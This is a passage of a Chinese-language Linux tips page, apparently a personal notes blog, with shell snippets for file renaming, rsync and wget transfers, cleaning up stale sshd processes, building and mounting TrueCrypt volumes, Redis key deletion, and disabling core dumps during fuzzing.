class=\"codehilite\"><pre><span></span><code>find . -size 0 -delete\n</code></pre></div>\n\n<p>查找大于100M的文件：<code>find . -size +100M</code></p>\n<hr />\n<h2 id=\"_9\">批量修改文件后缀名<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h2>\n<p>将当前目录下(包含子目录)所有的txt文件改为.newext后缀：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">find</span><span class=\"w\"> </span>.<span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">name</span><span class=\"w\"> </span><span class=\"s2\">&quot;*.txt&quot;</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"k\">exec</span><span class=\"w\"> </span><span class=\"nv\">rename</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/.txt$/.newext/&#39;</span><span class=\"w\"> </span>{}<span class=\"w\"> </span>\\<span class=\"c1\">;</span>\n</code></pre></div>\n\n<p>如果curl下载的时候允许gzip但忘了&ndash;compressed得到的文件是gzip压缩的，修改当前文件夹所有.txt为.txt.gz，然后解压缩：其中rename -v表示显示修改的列表</p>\n<div class=\"codehilite\"><pre><span></span><code>rename -v &#39;s/.txt$/.txt.gz/&#39; *.txt\ngunzip *.gz\n</code></pre></div>\n\n<hr />\n<h2 id=\"vimr\">用vim去除\\r换行符<a class=\"headerlink\" href=\"#vimr\" title=\"Permanent link\">&para;</a></h2>\n<p>用vim打开文件后，输入以下内容，冒号也是需要按的</p>\n<div class=\"codehilite\"><pre><span></span><code>:set ff=unix\n:wq\n</code></pre></div>\n\n<hr />\n<h2 id=\"free\">不用free查看内存占用<a class=\"headerlink\" href=\"#free\" title=\"Permanent link\">&para;</a></h2>\n<p>在docker容器内部一般是不能通过<code>free -h</code>来查看真实占用的内存的，这时候可以采用<code>ps aux</code>累加RSS字段来估计：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">ps</span> <span class=\"n\">aux</span> <span class=\"p\">|</span> <span class=\"n\">awk</span> <span class=\"s\">&#39;{sum+=$6} END {print sum / 1024}&#39;</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"watch\">watch持续观察命令输出<a class=\"headerlink\" href=\"#watch\" title=\"Permanent link\">&para;</a></h2>\n<p>例如我想持续查看output.txt文件大小：</p>\n<div class=\"codehilite\"><pre><span></span><code>watch -n 1 ls -l output.txt\n</code></pre></div>\n\n<p>其中<code>-n 1</code>表示每隔1s刷新一次</p>\n<p>这个命令等价于自己写个bash脚本：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#! /bin/bash</span>\n<span class=\"k\">while</span><span class=\"w\"> </span><span class=\"o\">[</span><span class=\"w\"> </span><span class=\"m\">1</span><span class=\"w\"> </span><span class=\"o\">]</span>\n<span class=\"k\">do</span>\n<span class=\"w\"> </span><span class=\"c1\"># do your work here...</span>\n<span class=\"w\"> </span>sleep<span class=\"w\"> </span><span class=\"m\">1</span>\n<span class=\"w\"> </span>clear\n<span class=\"k\">done</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"2truecrypt-71amake-j5-l4\">树莓派2上编译Truecrypt 7.1a，使用make -j5 -l4加速编译<a class=\"headerlink\" href=\"#2truecrypt-71amake-j5-l4\" title=\"Permanent link\">&para;</a></h2>\n<p>参照<a href=\"http://davidstutz.de/installing-truecrypt-raspbian/\">http://davidstutz.de/installing-truecrypt-raspbian/</a>，一步步来就行啦</p>\n<p>具体步骤如下，其中make使用参数<code>-j5 -l4</code>表示同时执行5个编译但限制系统负载&lt;4（因为编译过程很慢，直接make只会使用1个CPU，这样设置后可以充分利用树莓派4核心CPU）：</p>\n<p>涉及的压缩包<a href=\"https://d.py3.io/truecrypt-targz.zip\">truecrypt-targz.zip</a>，<a href=\"https://d.py3.io/wxWidgets-2.8.11.zip\">wxWidgets-2.8.11.zip</a>，<a href=\"https://d.py3.io/pkcs.zip\">pkcs.zip</a></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">apt</span><span class=\"o\">-</span><span class=\"n\">get</span><span class=\"w\"> </span><span class=\"n\">install</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">y</span><span class=\"w\"> </span><span class=\"n\">unzip</span><span class=\"w\"> </span><span class=\"n\">build</span><span class=\"o\">-</span><span class=\"n\">essentials</span><span class=\"w\"> </span><span class=\"n\">pkg</span><span class=\"o\">-</span><span class=\"n\">config</span><span class=\"w\"> </span><span class=\"n\">gtk2</span><span class=\"o\">.</span><span class=\"mi\">0</span><span class=\"o\">-</span><span class=\"n\">dev</span><span class=\"w\"> </span><span class=\"n\">libfuse</span><span class=\"o\">-</span><span class=\"n\">dev</span>\n<span class=\"c1\">#用unzip解压压缩包，都解压到/root下，目录结构：</span>\n<span class=\"c1\"># /root</span>\n<span class=\"c1\">#  | - truecrypt-targz</span>\n<span class=\"c1\">#  | - wxWidgets-2.8.11</span>\n<span class=\"c1\">#  | - pkcs</span>\n\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"n\">wxWidgets</span><span class=\"o\">-</span><span class=\"mf\">2.8</span><span class=\"o\">.</span><span class=\"mi\">11</span>\n<span class=\"o\">./</span><span class=\"n\">configure</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">j5</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l4</span><span class=\"w\"> </span><span class=\"c1\">#特别慢，耐心等待</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">j5</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l4</span><span class=\"w\"> </span><span class=\"n\">install</span>\n\n<span class=\"n\">cd</span><span class=\"w\"> </span><span class=\"o\">../</span><span class=\"n\">truecrypt</span><span class=\"o\">-</span><span class=\"n\">targz</span>\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">PKCS11_INC</span><span class=\"o\">=/</span><span class=\"n\">root</span><span class=\"o\">/</span><span class=\"n\">pkcs</span><span class=\"o\">/</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">j5</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l4</span><span class=\"w\"> </span><span class=\"n\">NOGUI</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"n\">WX_ROOT</span><span class=\"o\">=/</span><span class=\"n\">root</span><span class=\"o\">/</span><span class=\"n\">wxWidgets</span><span class=\"o\">-</span><span class=\"mf\">2.8</span><span class=\"o\">.</span><span class=\"mi\">11</span><span class=\"w\"> </span><span class=\"n\">wxbuild</span>\n<span class=\"n\">make</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">j5</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">l4</span><span class=\"w\"> </span><span class=\"n\">NOGUI</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"w\"> </span><span class=\"n\">WXSTATIC</span><span class=\"o\">=</span><span class=\"mi\">1</span>\n\n<span class=\"n\">Main</span><span class=\"o\">/</span><span class=\"n\">truecrypt</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">version</span><span class=\"w\"> </span><span class=\"c1\">#输出TrueCrypt 7.1a</span>\n<span class=\"n\">cp</span><span class=\"w\"> </span><span class=\"n\">Main</span><span class=\"o\">/</span><span class=\"n\">truecrypt</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">local</span><span class=\"o\">/</span><span class=\"n\">bin</span><span class=\"o\">/</span>\n</code></pre></div>\n\n<p>你也可以下载我已经编译好的版本<a href=\"https://d.py3.io/truecrypt-armv7l\">truecrypt-armv7l</a></p>\n<hr />\n<h2 id=\"scp\">scp目录断点续传<a class=\"headerlink\" href=\"#scp\" title=\"Permanent link\">&para;</a></h2>\n<p>正在拷贝目录的时候被中断了（例如mount.ntfs卡死），而scp不能跳过已经存在的文件、只会覆盖；如果用rsync完全断点续传似乎会校验文件，太慢</p>\n<p>方法是：删掉中断时正在拷贝的不完整文件，使用下述命令来跳过已经存在的文件：</p>\n<p>假设要把远程目录/path/这个文件夹整个拷贝到/mnt/下（也就是内容拷贝到/mnt/path/下）</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">rsync</span><span class=\"w\"> </span><span class=\"c1\">--progress -v -au username@host:&quot;&#39;/path&#39;&quot; /mnt/</span>\n</code></pre></div>\n\n<p>注意源路径/path后面不能有/，否则rsync不会创建/mnt/path这个文件夹；/path被两层引号包围是为了支持含有空格的文件夹名称，一层是本地命令，远程目录也要一层</p>\n<p>rsync的<code>--progress -v</code>参数表示显示当前进度和更多内容，<code>-a</code>表示archive递归并尽可能原样保留所有信息，<code>-u</code>表示跳过已经存在的文件</p>\n<p><a href=\"https://www.explainshell.com/explain?cmd=rsync+--progress+-v+-au+username%40host%3A%22%27%2Fpath%27%22+%2Fmnt%2F\">查看man文档 explainshell.com</a></p>\n<hr />\n<h2 id=\"wgetscp\">使用wget代替scp传输文件夹 避免无谓的加密性能损失（适用于树莓派）<a class=\"headerlink\" href=\"#wgetscp\" title=\"Permanent link\">&para;</a></h2>\n<p>在内网传输非敏感数据时，没有必要使用scp（基于ssh）的安全传输，尤其是树莓派这种计算性能有限的情形。使用HTTP能有效加速传输过程，且部署简单，相比配置复杂的vsftpd可以说是很简单了</p>\n<h4 id=\"_10\">服务端（数据传出端）<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h4>\n<p>使用nginx配置允许列目录即可，在/etc/nginx/sites-enabled/下添加一个文件：</p>\n<div class=\"codehilite\"><pre><span></span><code>server{\n    listen 8080;\n    root /path/to/your/dir;\n    autoindex on;\n    autoindex_exact_size off;\n    autoindex_localtime on;\n}\n</code></pre></div>\n\n<p>如果你不具有root权限，可以复制一份nginx.conf，修改其中出现的所有你没有权限修改的文件路径，例如access_log，然后使用<code>nginx -c /home/yourname/nginx.conf</code>（注意必须绝对路径）启动你的nginx，没有出现EMRG错误即为启动成功（可以使用netstat -pant观察是否成功监听端口）</p>\n<h4 id=\"wget_1\">客户端（数据传入端），使用wget：<a class=\"headerlink\" href=\"#wget_1\" title=\"Permanent link\">&para;</a></h4>\n<div class=\"codehilite\"><pre><span></span><code>alias myget=&#39;wget -r -np -nH -R index.html --restrict-file-names=nocontrol  -p -N -l0 -e robots=off --read-timeout=20 --tries=0&#39;\ncd /mnt #下载到哪\nmyget http://server_IP:8080/yourdir #相当于将yourdir复制到当前文件夹\n</code></pre></div>\n\n<p>参数说明：</p>\n<p>-r 递归下载，-np不要进入父目录，-nH不要创建host文件夹，-R index.html不要保存文件列表的index.html，&ndash;restrict-file-names=nocontrol不要乱改中文文件名</p>\n<p>-p 要下载图片，-N 使用浏览器304的方式避免重复下载，-l0递归层数不限制，-e robots=off不检查robots.txt</p>\n<p>&ndash;read-timeout=20 如果20s之内没有数据传输则认为失败进行重试，&ndash;tries=0无限次重试</p>\n<p><a href=\"https://www.explainshell.com/explain?cmd=wget%20-r%20-np%20-nH%20-R%20index.html%20--restrict-file-names=nocontrol%20http://yourserver:8080/yourdir\">查看man文档</a></p>\n<hr />\n<h2 id=\"sshd\">清除已经断开的sshd进程<a class=\"headerlink\" href=\"#sshd\" title=\"Permanent link\">&para;</a></h2>\n<p>如果你发现ps aux或netstat -pant输出了大量sshd的信息，说明之前ssh连接断开后sshd并没有退出而是一直占用内存</p>\n<p>我们可以清除掉这些进程来释放内存</p>\n<p>首先通过<code>pstree -p</code>来查看当前你的ssh会话的sshd进程PID，例如输出了这样一行：</p>\n<div class=\"codehilite\"><pre><span></span><code>├─sshd(32275)───bash(32413)───pstree(6543)\n</code></pre></div>\n\n<p>则说明当前sshd的pid为32275，然后执行下面这条命令来kill -9其他所有的sshd进程：</p>\n<div class=\"codehilite\"><pre><span></span><code>ps -ef | grep sshd | grep -v 32275 | grep -v grep | awk &#39;{print &quot;kill -9&quot;, $2}&#39; |sh\n</code></pre></div>\n\n<p>Hint: 如果当前主机还运行着Docker容器，如果容器的守护进程是sshd，上一条命令可能使容器退出；所以你还需要<code>docker top</code>来确定容器的sshd在主机上的pid号</p>\n<hr />\n<h2 id=\"_11\">批量替换文本<a class=\"headerlink\" href=\"#_11\" title=\"Permanent link\">&para;</a></h2>\n<p>例如批量递归替换当前文件夹及子文件夹所有php文件，将其中的&rdquo;aha/666&rdquo;改为&rdquo;ovo/999&rdquo;</p>\n<p>命令如下：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">find</span><span class=\"w\"> </span>.<span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">type</span><span class=\"w\"> </span><span class=\"nv\">f</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">name</span><span class=\"w\"> </span><span class=\"s2\">&quot;*.php&quot;</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"k\">exec</span><span class=\"w\"> </span><span class=\"nv\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s~aha/666~ovo/999~g&#39;</span><span class=\"w\"> </span>{}<span class=\"w\"> </span><span class=\"o\">+</span>\n</code></pre></div>\n\n<p>其中sed -i原位替换用的分隔符由于替换前后字符串中出现了/，所以不能用经典的/，而改用~</p>\n<hr />\n<h2 id=\"_12\">找到最近修改的文件<a class=\"headerlink\" href=\"#_12\" title=\"Permanent link\">&para;</a></h2>\n<p>例如wget递归下载，中途被中断了，恢复的时候与其每个文件都请求一次不如直接跳过已经存在的文件</p>\n<p>那就需要找到中断的时候正在写入哪个文件，删掉这个文件继续</p>\n<p>这个命令可以以时间顺序显示当前文件夹及子文件夹文件，新文件显示在最前面</p>\n<div class=\"codehilite\"><pre><span></span><code>find . -type f -printf &#39;%TY-%Tm-%Td %TT %p\\n&#39; | sort -r|less\n</code></pre></div>\n\n<hr />\n<h2 id=\"cryptsetuptruecrypt\">使用cryptsetup挂载truecrypt分区<a class=\"headerlink\" href=\"#cryptsetuptruecrypt\" title=\"Permanent link\">&para;</a></h2>\n<p>在ubuntu 16.04中编译truecrypt 7.1a运行时出现错误：<code>error: Invalid characters encountered.</code></p>\n<p>在这个链接上找到了答案（感谢在其他论坛找到答案后主动提供解决方案的Jakub Urbanowicz）</p>\n<p>https://bugs.archlinux.org/task/47325\n原贴地址（搜索cryptsetup）：https://forums.gentoo.org/viewtopic-p-7809512.html</p>\n<p>方法是：</p>\n<div class=\"codehilite\"><pre><span></span><code>sudo su #以下命令都要root权限，如果在Docker容器中尝试 启动容器时需要--privileged\n# 先安装cryptsetup\napt install -y cryptsetup-bin\n\n# 挂载，注意type前面是两个横线，文件路径可以是/dev/sdb1，名称随便填\ncryptsetup open --type tcrypt truecrypt文件路径 名称\n\n# 然后mount挂载\nmount /dev/mapper/名称 挂载点\n\n# 卸载的时候记得close，都还是要root权限\numount 挂载点\ncryptsetup close 名称\n</code></pre></div>\n\n<hr />\n<h2 id=\"_13\">从二进制文件中提取片段<a class=\"headerlink\" href=\"#_13\" title=\"Permanent link\">&para;</a></h2>\n<p>用binwalk发现需要的片段的起始位点，以及计算出长度</p>\n<p>binwalk直接-e有时候就能满足需求，但如果是exe文件 exe本身可能被拆成多个文件 如一堆证书，这时候可以</p>\n<div class=\"codehilite\"><pre><span></span><code>binwalk -D &#39;exe&#39; 文件名\n</code></pre></div>\n\n<p>或者用dd，注意别用bs=1 太慢：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">dd</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"o\">=</span><span class=\"nv\">input</span>.<span class=\"nv\">binary</span><span class=\"w\"> </span><span class=\"nv\">of</span><span class=\"o\">=</span><span class=\"nv\">output</span>.<span class=\"nv\">binary</span><span class=\"w\"> </span><span class=\"nv\">skip</span><span class=\"o\">=</span>$<span class=\"nv\">offset</span><span class=\"w\"> </span><span class=\"nv\">count</span><span class=\"o\">=</span><span class=\"mh\">$b</span><span class=\"nv\">ytes</span><span class=\"w\"> </span><span class=\"nv\">iflag</span><span class=\"o\">=</span><span class=\"nv\">skip_bytes</span>,<span class=\"nv\">count_bytes</span>\n</code></pre></div>\n\n<p>From: https://stackoverflow.com/questions/1423346/how-do-i-extract-a-single-chunk-of-bytes-from-within-a-file</p>\n<p>如果省略掉count就是一直到末尾</p>\n<hr />\n<h2 id=\"redis\">redis匹配前缀删除大量键值<a class=\"headerlink\" href=\"#redis\" title=\"Permanent link\">&para;</a></h2>\n<p>FROM: https://stackoverflow.com/questions/4006324/how-to-atomically-delete-keys-matching-a-pattern-using-redis</p>\n<p>删除当前数据库中prefix开头的所有key：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">EVAL</span><span class=\"w\"> </span><span class=\"s2\">&quot;local keys = redis.call(&#39;keys&#39;, ARGV[1]) \\n for i=1,#keys,5000 do \\n redis.call(&#39;del&#39;, unpack(keys, i, math.min(i+4999, #keys))) \\n end \\n return keys&quot;</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"w\"> </span><span class=\"nv\">prefix</span><span class=\"o\">*</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_14\">批量替换子目录特定后缀名文件内容<a class=\"headerlink\" href=\"#_14\" title=\"Permanent link\">&para;</a></h2>\n<p>使用<code>sed -i</code> 和<code>find</code></p>\n<p>例如本站编译脚本在mkdocs编译后对所有.html文件执行替换，改用国内CDN</p>\n<div class=\"codehilite\"><pre><span></span><code>sed -i &#39;s#cdnjs.cloudflare.com#cdnjs.loli.net#g&#39; $(find -type f -name &quot;*.html&quot;)\nsed -i &#39;s#fonts.googleapis.com#fonts.loli.net#g&#39; $(find -type f -name &quot;*.html&quot;)\n</code></pre></div>\n\n<hr />\n<h2 id=\"coredump-in-fuzzing\">coredump in fuzzing<a class=\"headerlink\" href=\"#coredump-in-fuzzing\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： http://man7.org/linux/man-pages/man5/core.5.html</p>\n<p>为啥afl要求我们<code>echo core &gt;/proc/sys/kernel/core_pattern</code> 呢？ fuzzing时怎么避免产生coredump产生大量IO浪费时间？</p>\n<h3 id=\"core_pattern\">core_pattern是啥<a class=\"headerlink\" href=\"#core_pattern\" title=\"Permanent link\">&para;</a></h3>\n<p>这个文件<code>/proc/sys/kernel/core_pattern</code>是命名coredump文件的模板，比如改为<code>core</code>之后产生的coredump文件就叫做<code>core</code></p>\n<p>另一个文件<code>/proc/sys/kernel/core_uses_pid</code> 如果是1的话，还会加上<code>.pid</code></p>\n<h3 id=\"coredump\">怎么才能不产生coredump<a class=\"headerlink\" href=\"#coredump\" title=\"Permanent link\">&para;</a></h3>\n<p>全局关闭：</p>\n<div class=\"codehilite\"><pre><span></span><code>echo &gt;/proc/sys/kernel/core_pattern\necho 0 &gt;/proc/sys/kernel/core_uses_pid\n</code></pre></div>\n\n<p>还可以在当前目录<code>mkdir core</code>，有了同名文件夹就不会再写core文件了</p>\n<p>fuzzer可以用rlimit的功能限制子进程：</p>\n<p>文档说了<code>RLIMIT_CORE</code>这个限制，只要它是0就不会产生了，比如<a href=\"https://github.com/mirrorer/afl/blob/2fb5a3482ec27b593c57258baae7089ebdc89043/afl-fuzz.c\">AFL的代码</a>：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"w\">    </span><span class=\"o\">/*</span><span class=\"w\"> </span><span class=\"n\">Dumping</span><span class=\"w\"> </span><span class=\"n\">cores</span><span class=\"w\"> </span><span class=\"n\">is</span><span class=\"w\"> </span><span class=\"n\">slow</span><span class=\"w\"> </span><span class=\"nb\">and</span><span class=\"w\"> </span><span class=\"n\">can</span><span class=\"w\"> </span><span class=\"n\">lead</span><span class=\"w\"> </span><span class=\"n\">to</span><span class=\"w\"> </span><span class=\"n\">anomalies</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"n\">SIGKILL</span><span class=\"w\"> </span><span class=\"n\">is</span><span class=\"w\"> </span><span class=\"n\">delivered</span>\n<span class=\"w\">       </span><span class=\"n\">before</span><span class=\"w\"> </span><span class=\"n\">the</span><span class=\"w\"> </span><span class=\"n\">dump</span><span class=\"w\"> </span><span class=\"n\">is</span><span class=\"w\"> </span><span class=\"n\">complete</span><span class=\"p\">.</span><span class=\"w\"> </span><span class=\"o\">*/</span>\n\n<span class=\"w\">    </span><span class=\"n\">r</span><span class=\"p\">.</span><span class=\"n\">rlim_max</span><span class=\"w\"> </span><span class=\"p\">=</span><span class=\"w\"> </span><span class=\"n\">r</span><span class=\"p\">.</span><span class=\"n\">rlim_cur</span><span class=\"w\"> </span><span class=\"p\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"n\">setrlimit</span><span class=\"p\">(</span><span class=\"n\">RLIMIT_CORE</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"o\">&amp;</span><span class=\"n\">r</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"o\">/*</span><span class=\"w\"> </span><span class=\"n\">Ignore</span><span class=\"w\"> </span><span class=\"n\">errors</span><span class=\"w\"> </span><span class=\"o\">*/</span>\n</code></pre></div>\n\n<p>再比如<a href=\"https://github.com/google/honggfuzz/blob/af7a92b9a644d1cc75b415351d9cb2a52eadefcf/subproc.c\">honggfuzz的代码</a>（honggfuzz-1.7并没有考虑这个）：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">/*</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"n\">cmdline</span><span class=\"o\">.</span><span class=\"n\">c</span><span class=\"w\"> </span><span class=\"o\">*/</span>\n<span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"s2\">&quot;rlimit_core&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">required_argument</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">NULL</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"mh\">0x103</span><span class=\"w\"> </span><span class=\"p\">},</span><span class=\"w\"> </span><span class=\"s2\">&quot;Per process RLIMIT_CORE in MiB (default: 0 [no cores are produced])&quot;</span><span class=\"w\"> </span><span class=\"p\">},</span>\n\n<span class=\"o\">/*</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"n\">subproc</span><span class=\"o\">.</span><span class=\"n\">c</span><span class=\"w\"> </span><span class=\"o\">*/</span>\n<span class=\"c1\">#ifdef RLIMIT_CORE</span>\n<span class=\"w\">    </span><span class=\"k\">const</span><span class=\"w\"> </span><span class=\"n\">struct</span><span class=\"w\"> </span><span class=\"n\">rlimit</span><span class=\"w\"> </span><span class=\"n\">rl</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"o\">.</span><span class=\"n\">rlim_cur</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"o\">-&gt;</span><span class=\"n\">global</span><span class=\"o\">-&gt;</span><span class=\"n\">exe</span><span class=\"o\">.</span><span class=\"n\">coreLimit</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">1024</span><span class=\"n\">ULL</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">1024</span><span class=\"n\">ULL</span><span class=\"p\">,</span>\n<span class=\"w\">        </span><span class=\"o\">.</span><span class=\"n\">rlim_max</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"o\">-&gt;</span><span class=\"n\">global</span><span class=\"o\">-&gt;</span><span class=\"n\">exe</span><span class=\"o\">.</span><span class=\"n\">coreLimit</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">1024</span><span class=\"n\">ULL</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"mi\">1024</span><span class=\"n\">ULL</span><span class=\"p\">,</span>\n<span class=\"w\">    </span><span class=\"p\">};</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">setrlimit</span><span class=\"p\">(</span><span class=\"n\">RLIMIT_CORE</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"o\">&amp;</span><span class=\"n\">rl</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">PLOG_W</span><span class=\"p\">(</span><span class=\"s2\">&quot;Couldn&#39;t enforce the RLIMIT_CORE resource limit, ignoring&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"c1\">#endif /* ifdef RLIMIT_CORE */</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"bash\">bash对文件乱序遍历<a class=\"headerlink\" href=\"#bash\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">shuf</span><span class=\"w\"> </span><span class=\"nv\">filename</span><span class=\"o\">|</span><span class=\"k\">while</span><span class=\"w\"> </span><span class=\"nv\">read</span><span class=\"w\"> </span><span class=\"nv\">line</span><span class=\"c1\">; do python3 run.py &quot;$line&quot;; done</span>\n</code></pre></div>\n\n<h2 id=\"grep_1\">grep查找中文<a class=\"headerlink\" href=\"#grep_1\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>ls /tmp/test | grep -P &#39;[\\p{Han}]&#39; \n</code></pre></div>\n\n<p>参考 https://www.regular-expressions.info/unicode.html#script</p>\n<hr />\n<h2 id=\"grep_2\">grep正则提取特定内容<a class=\"headerlink\" href=\"#grep_2\" title=\"Permanent link\">&para;</a></h2>\n<p>场景：fuzzing lava 测试集，做了30次重复（每次重复文件夹名称末尾为<code>_重复</code>），已经将crash运行得到的stdout和stderr存储为文件，想统计每次重复触发了多少bugid</p>\n<p>换句话说，已知当前文件夹下有一些可能被当成二进制的文本文件，包含<code>Successfully triggered bug 576, crashing now!</code>，我想将其中的576提取出来，然后对整个文件夹计数</p>\n<p>注意grep的时候一定要&ndash;text，不然会漏掉一些文件</p>\n<p>用到了grep的正则提取，前置判断用<code>(?&lt;=文本)</code>，后置判断用<code>(?=文本)</code>，例如提取<code>aaa123bbb</code>中的123就可以：<code>echo aaa123bbb|grep -P '(?&lt;=aaa)\\d+(?=bbb)' -o</code></p>\n<p>其中<code>-P</code>表示正则语法为Perl，<code>-o</code>表示只显示匹配</p>\n<p>参考： https://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match</p>\n<div class=\"codehilite\"><pre><span></span><code>for<span class=\"w\"> </span>i<span class=\"w\"> </span>in<span class=\"w\"> </span>`seq<span class=\"w\"> </span>1<span class=\"w\"> </span>1<span class=\"w\"> </span>30`;<span class=\"w\"> </span>do<span class=\"w\"> </span>\n<span class=\"w\">    </span>if<span class=\"w\"> </span>[<span class=\"w\"> </span>-d<span class=\"w\"> </span>*_<span class=\"cp\">${</span><span class=\"n\">i</span><span class=\"cp\">}</span>/<span class=\"w\"> </span>];<span class=\"w\"> </span>then<span class=\"w\"> </span>\n<span class=\"w\">        </span>(cd<span class=\"w\"> </span>*_<span class=\"cp\">${</span><span class=\"n\">i</span><span class=\"cp\">}</span>;<span class=\"w\"> </span>\n<span class=\"w\">         </span>echo<span class=\"w\"> </span><span class=\"nv\">$i</span><span class=\"w\"> </span>`grep<span class=\"w\"> </span>&#39;Successfully<span class=\"w\"> </span>triggered<span class=\"w\"> </span>bug&#39;<span class=\"w\"> </span>-r<span class=\"w\"> </span>.<span class=\"w\"> </span>--text<span class=\"w\"> </span>\\\n<span class=\"w\">             </span>|<span class=\"w\"> </span>grep<span class=\"w\"> </span>-P<span class=\"w\"> </span>&#39;(?<span class=\"err\">&lt;</span>=bug<span class=\"w\"> </span>)(\\d+)(?=,)&#39;<span class=\"w\"> </span>-o<span class=\"w\"> </span>\\\n<span class=\"w\">             </span>|sort|<span class=\"w\"> </span>uniq|wc<span class=\"w\"> </span>-l`<span class=\"w\"> </span>\n<span class=\"w\">        </span>);<span class=\"w\"> </span>\n<span class=\"w\">    </span>else<span class=\"w\"> </span>\n<span class=\"w\">        </span>echo<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">i</span><span class=\"cp\">}</span><span class=\"w\"> </span>0;<span class=\"w\"> </span>\n<span class=\"w\">    </span>fi;<span class=\"w\"> </span>\ndone\n</code></pre></div>\n\n<hr />\n<h2 id=\"kill\">自动kill大内存的进程<a class=\"headerlink\" href=\"#kill\" title=\"Permanent link\">&para;</a></h2>\n<p>列举所有进程，找出内存超过5%的，kill掉</p>\n<p>注意到sort比较数字大小需要用<code>-h</code>或者<code>-V</code>，否则会出现<code>3&gt;20</code>的比较结果（字符串比较）</p>\n<p>由于<code>[ \"$num\" -gt 5 ]</code>只支持num为整数的情况，所以用bc作浮点数大小判断，参考： https://stackoverflow.com/questions/8654051/how-to-compare-two-floating-point-numbers-in-bash</p>\n<p>用<code>grep -v</code>设置白名单：docker, perl</p>\n<div class=\"codehilite\"><pre><span></span><code>while<span class=\"w\"> </span>true;<span class=\"w\"> </span>do<span class=\"w\"> </span>\n<span class=\"w\">    </span>LINE=$(ps<span class=\"w\"> </span>aux|grep<span class=\"w\"> 